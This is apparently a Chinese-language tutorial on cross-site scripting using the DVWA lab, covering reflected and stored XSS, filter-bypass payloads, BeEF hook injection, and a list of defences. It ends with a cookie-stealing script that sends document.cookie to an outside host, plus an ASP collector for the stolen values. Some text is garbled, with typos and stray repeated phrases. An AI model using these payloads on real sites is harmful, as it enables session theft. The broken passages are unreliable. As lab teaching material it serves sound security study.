XSS(Cross Site Scripting)
简介:XSS 跨站脚本攻击(Cross Site Scripting),为了跟HTML里面的层叠样式表(CSS ,Cascading Style Sheets)作区分作用叫XSS.
反射型XSS的入侵过程:攻击者将含有恶意JavaScript代码的URL发给用户==>用户打开URL==>web应用程序对攻击者的JavaScript做出回应==>用户浏览器向攻击者发送会话信息==>攻击者使用会话信息跟web服务器进行交互
攻击步骤:
- 用户正常登录web应用程序,登录之后获得一个cookie
- 攻击者将含有攻击代码的URL发送给用户
- 用户打开URL
- Web服务器执行该URL中用户的请求,同时执行该URL中所包含的的JavaScript代码
- 攻击者可以使用的攻击代码的的可以将用户的cookie信息发送到cookie_save.php
- 攻击者获得用户的cookie之后可以将这些信息进行登录.
危害:可以给对方浏览器构造一个恶意弹窗,可以在XSS里面加入恶意代码或者恶意链接等
打个比喻<script>alert(“XSS”)</script>,如果换成<inframe scr=http://127.0.0.1.exe></inframe>,如果http://127.0.0.1.exe是一个木马之后浏览这个页面的网站管理员跟用户都会感染木马
储存型XSS入侵过程:web执行恶意代码构造URL==>用户访问这个网站==>在这浏览器中执行恶意JavaScript代码==>将cookie等重要参数返回到攻击者
危害:可以获取用户的信息,cookie等
为什么我们在这里用弹窗呢,因为弹窗最明显
XSS反射型
XSS:是将Java script代码插入web页面中之后当用户浏览的时候,嵌套在web页面里面的Java script代码就会执行,从而达到攻击用户的目的.
我们打开DVWA中的XSS(Reflection)
之后我们在what’s your name?里面任意输入一个东西就会返回Holle什么我们这拿1举例子.
我们可以在这输入XSS脚本我们这拿<script>alert(2)</script>举例子
我们可以构造一个弹窗
我们用burp抓一下包丢到扫描器里面扫一下得到了以下结果
我们来看一下这个结果的报告
漏洞详情(Issue detail):
name请求参数的值作为标签之间的纯文本复制到HTML文档中.它的payload(arz4v<script>alert(1)</script>pxrmb)中已经将name参数中提交.由于该参数在浏览器中未被过滤,所以可以将Java script注入到这个应用响应中
DVWA
中级别的方法是用嵌套<scr<script>ipt>alert(“1”)</scr<script>ipt>
在中级别他只过滤<script>并不进行反复过滤
我们看一下中级的代码:
<?php
// 是否有输入
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 获取输入里面有没有<script>的参数值
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// 返回结果
echo "<pre>Hello ${name}</pre>";
}
?>
最高级别的方法是<a herf=Javasrcipt:alert(“XSS”)>1</a>
这里面的Javascript:alert(“XSS”)进行编码就可以绕过
高级的代码
<?php
//是否有输入
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// 获取输入查看输入的里面有没有<srcipt>i这些关键字所以我们用<a>标签跟<img>标签进行绕过
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// 返回结果
echo "<pre>Hello ${name}</pre>";
}
?>
储存型XSS
浏览器中有一个非常重要的安全机制叫做同源,同源的意思是只有同一个域里面的东西才能相互使用cookie,cookie是保存在浏览器中
在储存型XSS中可以用herf属性进行绕过
例子:<A HERF=URL>link</A>
我们首先打开一个攻击叫做beef-XSS
这是一个XSS储存型的工具
Please wait as beff services are started.
请等待服务开始
You might need to refresh your browser once it opens
打开浏览器之后请刷新浏览器.
UI URL:http://127.0.01:3000/ui/panel
Beef的图形化页面的地址
Hook:<script src=”http://<IP>3000/hook.js”></script>
一个储存型XSS的恶意脚本命令,使用方法是把<IP>换成你的IP<例如192.168.0.1>
Example:<script src=”http”//127.0.0.1:3000/hook.js”></script>
列出这个脚本
我们输入beef-xss之后不光在终端上出现这个结果
还会出现浏览器页面
账号密码都是beef
我们在DVWA的储存型XSS里面输入
<script src=”http://192.168.0.103:3000/hook.js”></script>
之后我们会在beef里面出现这个
之后我们双击127.0.0.1之后进入这个页面
之后我们点击Commands(命令)之后在这里面输入cookie
之后我们回车
我们点击get cookie
之后点击Execute(执行)
之后就会弹回来cookie去掉输入中的引号
问题背景(Issue background):
当一个数据请求以不安全的方式回应道应用程序响应中的时候,我们就可以判断这是个发射去掉输入中的引号
型XSS.我们可以构建一个请求,如果由另外一个用户触发,我们写的恶意Java script代码就可以在对方浏览器运行.我们写的Java script代码可以进行各种操作,例如窃取cookie用受害人的身份登录,进行操作.
XSS的传播方式:
- 可以在邮件或者一些通讯方式,给受害者发送一个含有恶意URL的链接
- 在一些热门网站的评论区进行恶意Java script代码插入
- 可以创建一个网站之后让所有人都可见,以便于对用户发起XSS攻击(GET或者POST请求)进行跨域
XSS的影响:
XSS受影响程度取决于受攻击的人,其包含的数据和功能会不会影响同一个域内的其他人或者其他应用程序.如果是在某一个不重要的位置,例如某个不敏感而且没有身份验证或者控制访问的地方,XSS几乎没有什么用.如果是在关键的地方,例如cookie里面,这样就会威胁到其他的应用程序所以被判定为危险.同样如果XSS被用到钓鱼上面,那么XSS就会增加用户的信任,同时安全软件也不会警告.从而使用木马进行进一步攻击.
防御策略:
- 在输入的地方进行严格的验证,例如个人信息的长度,电子邮箱的正则表达式的匹配.也就是我们俗称的白名单.
- 把用户输入任何位置的信息进行HTML编码,将用户输入所有<>和””进行替换.在应用程序中限制用户使用HTML标签跟熟悉.
- 去掉<script><a><img>等标签
- 限制输入字符
- 去掉输入中的引号
- 对输入的URL进行解码,之后进行编码
- 将重要的cookie标记为http only
攻击姿势:
窃取cookie的XSS代码
<script>document.location=’http://127.0.0.1/1.asp?msg=’+document.cookie</script>
<%
Thisfile=Server.MapPath(“cookie.txt”)
Msg=Request(“msg”)
Set fs=server.CreateObject(“scripting.filesystemobject”)
Set thisfile=fs.OpenTextFile(thsfile,8True,0)
thisfile.WriteLine(“======cookie:”&msg&”=====byXSS”)
Thisfile.close
Set fs=nothing
%>